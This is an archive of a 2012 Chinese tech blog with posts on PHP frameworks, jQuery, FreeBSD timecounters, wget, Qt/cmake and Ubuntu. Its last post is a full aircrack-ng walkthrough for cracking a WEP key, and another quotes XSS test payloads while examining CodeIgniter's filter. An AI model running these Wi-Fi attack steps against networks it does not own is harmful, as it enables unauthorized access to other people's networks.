2012/11/17

攝影打工初體驗

學生時期,只做過軟體開發類的打工,攝影類型的工作還是頭一遭。

前陣子透過「影像紀錄區」的攝影履歷功能,收到外部的攝影專案發包訊息,是台南市新光三越西門店週年慶活動,徵求攝影師為活動做記錄。

平常都是拍風景與研討會居多,這次是魔術表演與氣球藝術創作,非常特別。氣球師父不到一分鐘可以把長條形氣球折成刀、劍、槍,還有超強的生氣鳥帽子!最好笑的是魔術師表演結束時觀眾的表情!


ps. 好家在魔術師沒有把我的工讀金變不見 XDDDD

2012/11/14

CodeIgniter 安裝與設定

CodeIgniter 是個輕巧的 PHP framework,支援 MVC 架構、詳細的文件、還有外掛可以裝。若是第一次使用 PHP framework,CodeIgniter 會是個不錯的選擇。


安裝


到官方網站的下載頁面把壓縮檔抓回來,解壓縮到網站目錄下:

wget http://codeigniter.com/download.php -O codeigniter.zip
unzip codeigniter -d ~/public_html

Done.

Use FuelPHP oil Generate Model and Migration

FuelPHP 的 oil 提供快速建立 model 和 migration 的方法,例如要建立一資料表存放使用者帳號:
oil g model users id:int username:varvhar[100] email:varchar[200]

oil 則會幫你產生 table 的 migration:
<?php

namespace Fuel\Migrations;

class Create_users
{
   public function up()
   {
      \DBUtil::create_table('users', array(
         'id' => array('constraint' => 11, 'type' => 'int'),
         'username' => array('constraint' => 100, 'type' => 'varvhar'),
         'email' => array('constraint' => 200, 'type' => 'varchar'),
         'created_at' => array('constraint' => 11, 'type' => 'int'),
         'updated_at' => array('constraint' => 11, 'type' => 'int'),

      ), array('id'));
   }

   public function down()
   {
      \DBUtil::drop_table('users');
   }
}

其中 id 自動被當作 primary key,沒有設定 auto_increment。

若要建立一個資料表,需要有欄位「id」當作 primary key 且設定 auto_increment 屬性,可以將「id」從 oil 參數中去掉,當 oil 偵測到資料表沒有欄位名稱包含 id 且沒辦法設定 primary key 時,便會自動新增一個「id」的欄位:
   public function up()
   {
      \DBUtil::create_table('users', array(
         'id' => array('constraint' => 11, 'type' => 'int', 'auto_increment' => true),
         'username' => array('constraint' => 100, 'type' => 'varchar'),
         'email' => array('constraint' => 200, 'type' => 'varchar'),
         'created_at' => array('constraint' => 11, 'type' => 'int'),
         'updated_at' => array('constraint' => 11, 'type' => 'int'),

      ), array('id'));
   }

oil 的參數中很清楚標示欄位的設定為 fieldname:type,沒辦法加入其他欄位屬性。假設要為欄位加上其他屬性,像是 null、index 等,則必須在 oil 產生 migration 以後,手動在 migration 中新增自己需要的屬性。

ps. oil 還會偵測資料表名稱,migration 會將資料表名稱改成複數。

2012/11/06

YouTube HD Suite on Chrome

新版的 Chrome 已經無法安裝未透過 Chrome Web Store 驗證的外掛,但可以透過 Tampermonkey 載入。

先安裝 Tampermonkey
https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo

安裝好後,便可以透過 Tampermonkey 再載入 YouTube HD Suite


ps. Tampermonkey 雖然可以載入第三方外掛,但執行不明外掛還是會有安全上的疑慮,請記得先確認外掛安全性。

2012/10/18

Git 學習資源

一些覺得不錯的投影片、教學和工具。

寫給大家的 Git 教學 by 小 B



Git Tutorial by ihower



Github 推出了互動教學 tryGit,可以邊看說明邊操作。
http://try.github.com


FreeBSD 系統時鐘停擺

因為連續幾次 FreeBSD 上的系統時鐘停擺,連續幾次 date 秒數都不會變,機器上不少服務都爛掉,核心重編後問題還是會發生。

後來在 FreeBSD 論壇上一討論串上看到不少人有遇到相同問題,原因是 VMware 上的一個 bug 導致 timecounter HPET 發生錯誤:

PR887134: Timer stops in FreeBSD 8.x and 9.x as virtual hardware HPET main counter register fails to update due to comparison failure between signed and unsigned integer values.

ESX 已經有釋出 patch。我用的是 workstation,似乎是還沒有發佈更新。


暫時換一下 timecounter 看看問題會不會發生。

先看看系統上有哪些 timecounter 可以使用:
~$ dmesg | grep counter
Timecounter "i8254" frequency 1193182 Hz quality 0
Timecounter "HPET" frequency 14318180 Hz quality 900
Timecounter "ACPI-safe" frequency 3579545 Hz quality 850
Timecounters tick every 10.000 msec

sysctl 檢查目前 timecounter:
$ sysctl kern.timecounter.hardware
kern.timecounter.hardware: HPET

換成 ACPI-safe:
$ sysctl kern.timecounter.hardware=ACPI-safe
kern.timecounter.hardware: HPET -> ACPI-safe

開機自動設定,開啟 /etc/sysctl.conf 並加入:
kern.timecounter.hardware=ACPI-safe

2012/10/14

jQuery.tmpl

之前提到用 jQuery 的 clone() 複製一列表格,再用 text() 修改該列的文字內容,但這個方法會經過多次 DOM 處理,效率不高。

經過阿育推薦後,發現 jQuery.tmpl() 樣板引擎還不賴,用起來不難且程式碼看起來會乾淨很多。


先定義表格一列的樣板:
<table id="target-table"> </table>

<script type="text/x-jquery-tmpl" id="row-template">
  <tr>
    <td>${name}</td>
    <td>${comment}</td>
  </tr>
</script>

在樣板中文字內容的位置使用 ${VARIABLE} 取代,tmpl() 會解析樣板內容並將資料填入。

接著透過 tmpl() 處理新增一列至表格最後方:
var data = {
   name: 'zeroplex',
   comment: 'some text'
};

$.tmpl( $('#row-template').html(), data)
    .insertAfter('#target-table > tbody > tr:last');

tmpl() 會自動將第二個傳入的參數對應到樣板變數,data.name 會被帶入 ${name}、data..comment 被帶入 ${comment},最後將處理完畢的資料放入原始頁面中。


Reference:.tmpl() - jQuery API
http://api.jquery.com/tmpl/

2012/09/18

C 強制資料輸出

無意間發現透過 printf 輸出資料時,程式會將資料放在 buffer 中,過一段時間後再一起印出。
int main(){
   while(1){
      printf(".");
      sleep(1);
   }
   return 0;
}

可以透過 fflush() 強制將 buffer 中的資料輸出:
while(1){
   printf(".");
   fflush(stdout);
   sleep(1);
}

2012/09/01

jQuery 在表格新增一列

學 javascript 沒多久,剛開始只是很簡單的置換文字、為元素加上類別,短短幾行沒什麼感覺。到了開始動態新增表格資料時,javascript 程式碼裡面參雜 HTML 就越看越噁心。
function addRow( data ){
   $('#user-list > tbody ').append(
         '<tr> ' + 
            '<td>' + id + '</td>' +
            '<td>' + username + '</td>' +
            '<td>' + email + '</td>' +
         '</tr>'
      );
}

這樣的寫法除了可讀性很低以外,之後若修改表格結構以及 CSS 樣式時,必須同時修改樣板以及 javascript 內容,不容易維護。

今天翻了翻 jQuery docs,發現幾個方法拿出來用可以把 HTML 和 javascript 切割的頗乾淨。

先定義一列當作表格樣板,可以在 CSS 將這一列隱藏:
<table border="1">
  <tbody>
    <tr id="template" style="display: none;">
      <td class="id some-other-class"> </td>
      <td class="username"> </td>
      <td class="email"> </td>
    </tr>
  </tbody>
</table>

新增一列時,將 template 複製一份出來,再依照 class 名稱將資料填入不同欄位:
function addRow(){
  $('tr:last').after( $('#template').clone().removeAttr('id') );
  $('tr:last > td.id').text( id );
  $('tr:last > td.username').text( username );
  $('tr:last > td.email').text( email );
}


2012/08/30

COSCUP 記趣




今年是我參加 COSCUP 的第四年、加入志工的第三年,學到新技術也交了不少志同道合的朋友,參加了社群活動真的讓生活改變了不少。

2012/08/13

wget 中文亂碼問題

這幾天為了某事情用 wget 砍站,但因為對方目錄使用中文命名,wget 遇到中文不但網址錯誤,連檔案名稱的文字也變成亂碼。

原因是 wget 對國際語言的支援不夠完整,判斷 URL 中的特殊字元後在轉成檔名儲存,而遇到中文字時轉換會錯誤。目前官方是出的版本沒有辦法使用參數或設定繞過這個問題,但可以透過修改程式碼再重新編譯解決。

先從 GNU Wget 網站上將 source 抓回來。開啟 wget-1.x/src/url.c,找到以下程式片段:
quoted = 0;
   for (p = b; p < e; p++)
     if (FILE_CHAR_TEST (*p, mask) )
       ++quoted;

改成:
quoted = 0;
   for (p = b; p < e; p++)
     if (FILE_CHAR_TEST (*p, mask) && !((*p | 0x0fffffff) == 0xffffffff) )
       ++quoted;

存檔後重新編譯:
$ ./configure
$ make


完成後用剛編譯完成的 wget 來抓檔案:
$ ./wget-1.x/src/wget -np -r http://path.to/your/檔案名稱/


Reference:

wget中文乱码 - 互联网络 - c - Linux - Wget - 自说Me话
http://isayme.com/2011/07/fix-wget-for-zh-cn/


wget中文乱码 | 可可熊的窝
http://cocobear.info/blog/2008/04/19/wget-chinese-encode/

2012/08/02

建立 SSH Tunnel 專用帳號

VPN 有帳號管理功能,但是一些加密方式卻不盡安全,現在找到一個方法能讓使用者能登入 SSH 並使用 tunnel,但是無法使用 shell,僅當作跳板。


建立一個帳號,但將這個帳號的 shell 改為 nologin:
zero:x:1000:1000:zero,,,:/home/zero:/usr/sbin/nologin

這樣一來使用者無法取得 shell 操作、存取任何資料,但仍可以啟用 tunnel:
ssh zero@host.to -N -L 3128:127.0.0.1:3128

-N 意思是不執行任何遠端指令,也不會開 shell。

2012/07/25

製造無法閱讀的程式碼

前陣子某 geek 朋友過生日,所以想用程式給他一個小驚喜。原本打算送給他一個假的 patch,讓他在編譯時收到訊息,不過弄半天還是沒搞懂 #pragma 怎麼用,後來改用程式碼混淆的方式製作卡片。


步驟大概如下:
  1. 做卡片
  2. 轉成程式碼
  3. 製造大亂

2012/07/18

Hook on header and footer

最近學用 Ajax 處理一些網頁上的事件,javascript 越寫越長,就覺得有必要按照程式碼類別拆成不同檔案,在執行時期決定到底哪些檔案需要匯入。像是管理介面用的 CSS、javascript 就需要在一般頁面當中載入,或是在不需要使用到 Google Maps 時將 javascript API 拿掉。

CodeIgniter 在 controller 與 view 切開後,傳遞資訊只能在 loader 載入時送參數,不過若有多個需要動態載入的資源放在一起,程式寫起來會很麻煩。

// Controller
$data['googleMapAPI'] = true;
$data['jqueryPlugin'] = true;

// View
<?php if( $googleMapAPI == true ): ?>
   <script src=" ..... "></script>
<?php endif; ?>

<?php if( $jqueryPlugin == true ): ?>
   <script src="...."></script>
<?php endif; ?>


這時候想到 Wordpress Codex 有個不錯的作法可以參考。Wordpress 為了讓樣板、外掛製作能夠分開、不會互相影響,做出了一個 add_action( ) 的功能,外掛設計師將需要執行的動作「註冊」到系統中,樣板設計師在特定位置呼叫時,系統便會執行已註冊的動作。

// Plugin
<?php
   add_action('wp_head', 'js_include');
   add_action('wp_footer', 'action-on-ready');

   function js-include(){
      echo '<script src="..."></script>';
   }

   function action-on-ready(){
      echo '<script> $('document').ready(); </script> ';
   }
?>

// Template
<html>
<head>
   <titie> .... </title>
   <!-- load script in header -->
   <?php echo wp_head(); ?>
</head>
<body>
   ......
   <!-- load page scripts in footer -->
   <?php wp_footer(); ?>
</body>
</html>


CodeIgniter 有 Hook 類別,不過並沒有 view 的插入點,想試試看能不能把 wordpress add_action( )  功能實作出來。

2012/07/01

animate on jQuery

初學 jQuery 第一個感想就是 selector 非常好用,加上 effects 功能後,可以說是懶人的一大福音。

在 effects 中有看到 slide down / up,區塊會上下滑動,但沒看到左右滑動的,所以自己試著刻一個。

<style>
#box {
   width: 200px;
   display:  inline;
}
</style>

$('#box').animate(   {
      width: '0px',
      display: 'none'
   } , 'slow'  };

不過發現 box 不會消失,用開發人員工具去看 display 屬性沒有被改變。後來看了文件才發現是自己耍蠢。

jQuery 建立動畫特效的方式,是依照 duration 以及物件屬性的數字差,並在固定時間間隔對屬性的數值做遞增、遞減,是「數值」遞增、遞減,display 屬性值並非數字,所以 jQuery 沒辦法處理。


ps. 用了 jQuery 以後就不會寫 Javascript 了 .... Orz

2012/06/15

CodeIgniter 使用心得分享

以前寫 PHP 時不知道有 framework 可以用,程式從頭到尾都硬幹,每個輪子都自己打造的下場,不外乎就是時間不夠用、事情常常 delay、bug 買一送二越 de 越多 .....。

得知有 PHP frameworks 時,大為欣喜,只是這麼多套 framework 到底應該先挑哪一套當作起步?就怕挑了一個功能太強太複雜的會讓自己一直碰壁、挑了個太冷門的之後換一套 framework 就接近從頭學起。

經朋友介紹,CodeIgniter 該有的基本功能都有了,且不難上手,適合第一次沒用過 framework 的人當作入門。所以最近幾個網頁功能都用 CodeIgniter 當作練習。

最近 C4Labs 朋友在玩  PHP,所以藉機分享一下最近 CodeIgniter 的使用經驗,以及問題、解決方法。以下是投影片,請多指教。





Ref:
CodeIgniter | 小惡魔 - 電腦技術 - 工作筆記 - AppleBOY
http://blog.wu-boy.com/tag/codeigniter/



ps. 沒事不要裝 ion_auth 啊,會讓人嚴重墮落 XD

2012/06/13

XSS Filter on CodeIgniter

過去防止 XSS 攻擊都是透過 htmlspecialchars() 將「<」、「>」等符號編碼,但若是前端有使用 CKEditor 之類工具,文章中的樣式也會全部被洗掉。

最近用 CodeIgniter Input class 提供的 XSS filter 時,無意間發現 filter 不是將所有特殊符號過濾掉,而是經過 parser 以後才決定哪些標籤和屬性需要刪除。


一般常見用來測試 XSS 的字串:
<script>alert(123)</script>

輸出:
[removed]alert(123)[removed]



若是將 javascript 嵌在屬性當中,CodeIgniter 會將標籤留下、屬性刪除:
<a href="#" onclick="alert(123)">test</a>

輸出:
<a >test</a>

2012/06/08

取消 Ubuntu 上 MySQL 的開機自動啟動

由於小筆電跑很慢、記憶體也不多,想說 Apache 和 MySQL 都取消開機自動啟動,有需要在手動執行,便把 /etc/init.d 底下二個 script 砍刪除:
$ cd /etc/init.d/
$ rm apache2 mysql

重新啟動後,Apache 沒有啟動,但是 MySQL 卻活的好好的!

執行 /etc/init.d/mysql stop 後才注意到提示訊息,MySQL 必須使用 service 來控制啟動與停止:
Rather than invoking init scripts through /etc/init.d, use the service(8)
utility, e.g. service mysql start

Since the script you are attempting to invoke has been converted to an
Upstart job, you may also use the start(8) utility, e.g. start mysql
mysql start/running, process 2035

service 似乎只能控制啟動或是停止服務,並沒有辦法修改開機啟動設定,問了男人以後看到「see also」有個 update-rc.d,男人說是用來設定不同 run-level 底下服務是否啟動。

印象中 Ubuntu 沒有 run-level 這東西吧,不過試試也無妨:
$ update-rc.d mysql disable 2 3 4 5    # /etc/init.d/mysql missing LSB information
$ update-rc.d -f mysql remove   # Nothing special

重新開機,還是看到 MySQL 在對我微笑 ......

找了 chkconfig、sysv-rc-conf 來看到底是自己代賽還是哪裡出錯,不過確實看到 MySQL 在 run-level 2 3 4 5 下都是關著的,開機仍舊會自動啟動。

Linux 上 everything is a file,不會用工具至少還可以改設定檔內容,用 find 和 grep 把 /etc 底下所有和 mysql  有關的檔案都掃了一遍,發現 /etc/init (不是 init.d) 下還有個 mysql.conf,而且把這個設定檔砍掉以後 service 就無法辨識服務。

開啟 /etc/init/mysql.conf,前面有幾行,註解掉以後開機就不會自動啟動 MySQL 了:
start on (net-device-up
          and local-filesystems
          and runlevel [2345])
stop on runlevel [016]


Ref:
Disable autostart from mysql
http://ubuntu.5.n6.nabble.com/Disable-autostart-from-mysql-td1537743.html



ps. 太久沒寫文章,手感都沒了 QQ

2012/05/26

gitignore @ github

用 CodeIgniter 當 framework 時,搞不清楚 .gitignore 要怎麼寫比較好。

後來才知道 Github 上面有個 gitignore 專案,已經整理了不少預設設定檔供參考,從 C/C++、Java、Objective-C 到常用的程式架構如 Android、CodeIgniter、CakePHP、Wordpress 等,直接複製貼上就可以用了,非常方便。

github/gitignore
https://github.com/github/gitignore

2012/05/22

日蝕

前幾天有日蝕,但因天候不佳,感冒體力差,索性睡覺睡到自然醒。

沒拍到照片也沒關係,網路上可以看到不少大大的作品。不過 .... NASA 的照片還真是與眾不同啊! XD



2012/04/28

在 Ubuntu 手動安裝 Qt SDK

以前一向都是從套件庫直接安裝 Qt SDK:
aptitude install qt-sdk

今天 checkout 別人的 project 出來編譯時,發現套件庫中的 Qt lib 版本有點舊 (好像是 4.6 吧),乾脆直接去 Qt 官網抓檔安裝來裝。

裝好後無意間發現 OpenGL 的範例程式編譯時都會出錯,弄了半天原來是從套件庫安裝時會自動把 OpenGL lib 裝上去,但是官網的安裝檔不會處理相依性問題。所以要自己手動補:
aptitude install libgl1-mesa-dev libglu1-mesa-dev libglut3-dev 

Ubuntu 12.04 手冊

Ubuntu 12.04 LTS 發佈,這次官方同時做好了操作手冊,簡潔、清楚的介紹,讓對新環境不熟悉的人可以快速上手。

Ubuntu 桌面版手冊
https://help.ubuntu.com/12.04/ubuntu-help/index.html

ps. 沒看到中文請調整瀏覽器預設語言

urDiary 0.1.0

說了幾百年,總算幫 urDiary 加上搜尋功能了。

Changelog :

  • 搜尋功能
  • 修正單引號儲存時發生的錯誤


載點:
https://github.com/downloads/johnroyer/urDiary/UrDiary-0.1.0-win32.7z


2012/04/27

讓 YouTube 影片不會 lag 妙法

最近看 YouTube 影片,不知怎麼非常不順,影片載入一小段後就停住,看一部影片每幾秒就要重新載入。倒是 YouTube HD Suite 等工具下載影片沒遇到這個問題,非常奇怪。

後來聽到 huckly 大大的方法:選擇 480p 畫質觀看。很妙的,這個方法真的有效!在 360p 下播放會 lag 的影片,切換到 480p 載入就非常順。

2012/04/07

qmake to cmake


以 Qt Creator 預設的 GUI Appplication 為例:
zero@zero-desktop:~/dev$ tree example/
example/
|-- example.pro
|-- main.cpp
|-- mainwindow.cpp
|-- mainwindow.h
`-- mainwindow.ui

建立 CMakeLists.txt,先寫入最常用到的幾個設定:
project( example )
cmake_minimum_required(VERSION 2.6)

set( SRC main.cpp mainwindow.cpp )
set( HEADER mainwindow.h )

讓 cmake 先載入 Qt 會用到參數:
find_package( Qt4 REQUIRED )

加入 Qt 函式庫位置:
include( ${QT_USE_FILE} )
add_definitions( ${QT_DEFINITIONS} )

因為 Qt 在編譯前會先透過 moc、uic 等對程式做處理,將 SIGNAL/SLOT、ui 轉成程式碼再做編譯。Cmake 透過 wrapper 做設定:
set( FORM mainwindow.ui )

qt4_wrap_cpp( HEADER_MOC ${HEADER} )
qt4_wrap_ui( FORM_HEADER ${FORM} )

如果專案中有使用到 qrc 檔,則需加入:
qt4_add_resources( RESOURCES_RCC resource.qrc )

有時編譯位置與程式碼放置位置不同,編譯器會讀不到 moc 轉出來的程式碼,所以要將編譯位置加入:
include_directories( ${CMAKE_CURRENT_BINARY_DIR} )

最後,編譯設定:
add_executable( exe ${SRC} ${HEADER_MOC} ${FORM_HEADER} )
target_link_libraries( exe ${QT_LIBRARIES} )

更改 Ubuntu 10.04 登入畫面背景圖片

從「系統」=>「偏好設定」=>「外觀」中只能修改登入後的桌面背景,登入畫面的背景還是不會變。

若要修改登入畫面的背景圖片,則需要使用 gdm 身份開啟 gnome-control-center 來修改設定:

  1. 首先,先將帳號登出,退回到登入畫面
  2. 接著按下 Ctrl+Alt+F1 切換 tty
  3. 使用自己的帳號、密碼登入
  4. 設定圖形介面應用程式顯示位置:
    export DISPLAY=:0.0
  5. 使用 gdm 身份執行 gnome-control-center:
    sudo -u gdm gnome-control-center
  6. 按下 Ctrl+Alt+F8 切換回圖形介面,這時候會看到「控制中心」
  7. 接著就能從「外觀」中設定登入畫面的背景圖片

2012/04/05

「Code Smart, Don't Code hard」by CrBoy




備註:CrBoy's Blog:「那些老師沒教的事」簡報釋出


其中印象最深刻的應該是傻傻的用 printf 除錯,如果只是一般型態還好,遇到物件等之資料型態用 printf 真會把自己搞死。

另外把壓縮檔塞進版本庫裡面也很經典!SVN 或是 git 等版本管理工具其中一大功能就是比對 code 的異動,程式碼壓縮後這些工具就沒辦法做比對。誇張的是有人還會好心的把 *.o、*.exe 一起打包 commit .... XD


ps. 用 cmake 好像還蠻威的!

SQLite 單引號處理

一般處理 SQL 查詢時,遇到單引號或雙引號都會加上反斜線做跳脫。不過字串是餵給 SQLite 時,處理單引號的方式不同,是將一個單引號改為二個。

例如:
select * from content where text like '%Zero's note%'

上述字串「Zero's note」中的單引號會造成查詢錯誤,所以將單引號修改後成為:
select * from content where text like '%Zero''s note%'


Reference:
How do I use a string literal that contains an embedded single-quote (') character?

2012/02/15

CSS3 Background Future

JaceJu 的噗浪上看到 CSS3 background 新的特性,可以讓瀏覽器控制背景圖片的一些屬性,頗好用的。


CSS3 Backgrounds of the Future
http://www.andismith.com/blog/2012/02/css-backgrounds-of-the-future/


設定背景圖片:
body {
   backgroud: bg.jpg;  /* 1024x768 */
}

以上的設定,當視窗大小如你預期相同時,畫面便會與最初的設計相同,但若視窗較大或較小,都可能會讓畫面走樣。


加上 background-size 屬性,讓瀏覽器決定圖片的大小:
body {
   backgroud: bg.jpg;
   background-size: contain; 
}

修改之後,背景圖片便會依照視窗大小做調整。

2012/02/13

VMware 延長開機畫面

用編輯器打開虛擬機器設定檔 (*.vmx) 加入以下設定:

開機畫面延遲五秒
bios.bootDelay = "5000"

第一次強制進入 BIOS 設定
bios.forceSetupOnce = "TRUE"

2012/01/28

Prevent configuration while making ports on FreeBSD

在 FreeBSD 裝 ports 時,有些 ports 會需要 make config。

若 ports 很大 (像 KDE 之類的),make 一次不知道就要按多少次 ok 才會繼續動作。但又不是閒閒整天都做在電腦前等著按 ok。

在 man 7 ports 裡面有提到,設定環境參數 BATCH,系統就會使用預設值做編譯,可以省掉不少麻煩。

set BATCH in tcsh:
setenv BATCH yes

設定好之後,大部分的 make config 就會使用預設值並自動往下做。



參考資料:
How can I avoid the prompts when installing a FreeBSD port?
http://unix.stackexchange.com/questions/5257/how-can-i-avoid-the-prompts-when-installing-a-freebsd-port

2012/01/07

用 aircrack 解 WEP 密碼


查詢 AP 資訊,找出目標 SSID 和 channel:
$ sudo iwlist wlan0 scanning
          Cell 01 - Address: 00:14:6C:7E:40:80
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=39/70  Signal level=-71 dBm  
                    Encryption key:on
                    ESSID:"Zeroplex"

用 airmon-ng 進入監聽模式,注意最後一個參數是目標 AP 所用的 channel:
$ sudo airmon-ng start wlan0 11

Interface Chipset  Driver

wlan0  RTL8187  rtl8187 - [phy2]
    (monitor mode enabled on mon0)

訊息後方有顯示模擬來監聽的網卡,之後 aireplay-ng 和 airodump-ng 會用這個 device。先用 aireplay-ng 檢查與目標 AP 的通訊狀況,參數「-9」表示做 injection test:
$ sudo aireplay-ng -9 -e Zeroplex mon0
21:39:04  Waiting for beacon frame (ESSID: Zeroplex) on channel 11
Found BSSID "00:14:6C:7E:40:80" to given ESSID "Zeroplex".
21:39:04  Trying broadcast probe requests...
21:39:04  Injection is working!
21:39:06  Found 1 AP 

21:39:06  Trying directed probe requests...
21:39:06  00:14:6C:7E:40:80 - channel: 11 - 'Zeroplex'
21:39:06  Ping (min/avg/max): 0.604ms/10.323ms/37.851ms Power: -14.86
21:39:06  29/30:  96%

最後一行的百分比表示訊號概況,數值越高表示成功率越高,距離 AP 太遠或是太近都會有影響。

準備好後就可以開始用 airodump-ng 監聽。參數「-i」表示只記錄對破解有用的資訊,沒有家䢢這個參數時,airodump-ng 會記錄所有封包內容,若有人在抓 BT 小心硬碟被吃光光;參數「-w」後加上記錄檔名稱;「--bssid」為目標 AP 的 MAC address、「-c」是channel,若沒有指定特定目標,airodump-ng 會記錄所有接收到的資訊。


$ sudo airodump-ng --bssid 00:14:6C:7E:40:80 -c 11 -i -w data mon0

 CH 11 ][ Elapsed: 0 s ][ 2012-01-07 21:48                                         
                                                                                                                            
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                         
                                                                                                                            
 00:14:6C:7E:40:80  -20   0        9        1    0  11  54e. WEP WEP        Zeroplex        

Beacons 與 Data 數量越多對破解越有利。

最後使用 aircrack 嘗試解開密碼:
$ aircrack-ng record-01.cap -l key.txt


解密碼會花上一段時間,若有成功解開密碼,會將密碼寫進 key.txt 裡;若資訊量不足以解開密碼,請繼續監聽,直到 IVs 達到門檻值後再嘗試。


aircrack 的 tutorial 裡面還有介紹 aireplay-ng 的其他玩法,有興趣的可以試試看。

Tutorial: Simple WEP Crack
http://www.aircrack-ng.org/doku.php?id=simple_wep_crack